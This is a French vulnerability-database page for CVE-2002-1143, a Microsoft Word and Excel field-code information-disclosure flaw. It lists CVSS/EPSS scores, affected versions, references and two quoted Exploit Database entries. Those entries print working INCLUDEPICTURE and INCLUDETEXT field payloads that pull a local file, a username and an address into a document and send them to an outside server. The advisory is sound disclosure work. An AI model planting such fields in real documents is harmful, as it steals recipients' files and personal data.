CVE-2002-1143 : Détail

CVE-2002-1143

25.97%V3
Network
2003-04-03
03h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft Word and Excel allow remote attackers to steal sensitive information via certain field codes that insert the information when the document is returned to the attacker, as demonstrated in Word using (1) INCLUDETEXT or (2) INCLUDEPICTURE, aka "Flaw in Word Fields and Excel External Updates Could Lead to Information Disclosure."

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 21812

Date de publication : 2002-09-19 22h00 +00:00
Auteur : Richard Edwards
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/5764/info The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat. If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated. An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system. { INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d } { INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d } (The curly braces above represent Microsoft Word field braces.)
Exploit Database EDB-ID : 21764

Date de publication : 2002-08-25 22h00 +00:00
Auteur : Alex Gantman
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/5586/info The Microsoft Word and Excel INCLUDETEXT Field Code may be used to insert an arbitrary local file into a document. The INCLUDETEXT Field Code is reported to, under some circumstances, present a security threat. If the INCLUDETEXT Field Code is included in a document and references a file on the local system of the recipient, then the file will also be included when the document is sent out. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated. The recipient of the malicious document must still pass along the updated version of the document for the attacker to receive the imported local file. ** Reports indicate that using a 'dde' link group field may be able to bypass the functionality of the Microsoft patch for this issue. Inserting the following field structure into the footer of the last page of the document will steal the contents of c:\a.txt on the target's computer: { IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT } (The curly braces above represent Microsoft Word field braces.)

Products Mentioned

Configuraton 0

Microsoft>>Excel >> Version 2002

Microsoft>>Excel >> Version 2002

Microsoft>>Excel >> Version 2002

Microsoft>>Word >> Version *

Microsoft>>Word >> Version 97

Microsoft>>Word >> Version 97

Microsoft>>Word >> Version 97

Microsoft>>Word >> Version 98

Microsoft>>Word >> Version 98

Microsoft>>Word >> Version 98

Microsoft>>Word >> Version 2000

Microsoft>>Word >> Version 2000

Microsoft>>Word >> Version 2000

Microsoft>>Word >> Version 2000

Microsoft>>Word >> Version 2001

Microsoft>>Word >> Version 2002

Microsoft>>Word >> Version 2002

Microsoft>>Word >> Version 2002

Références

http://marc.info/?l=bugtraq&m=103252858816401&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/5764
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/5586
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/899713
Tags : third-party-advisory, x_refsource_CERT-VN
http://marc.info/?l=bugtraq&m=103040003014999&w=2
Tags : mailing-list, x_refsource_BUGTRAQ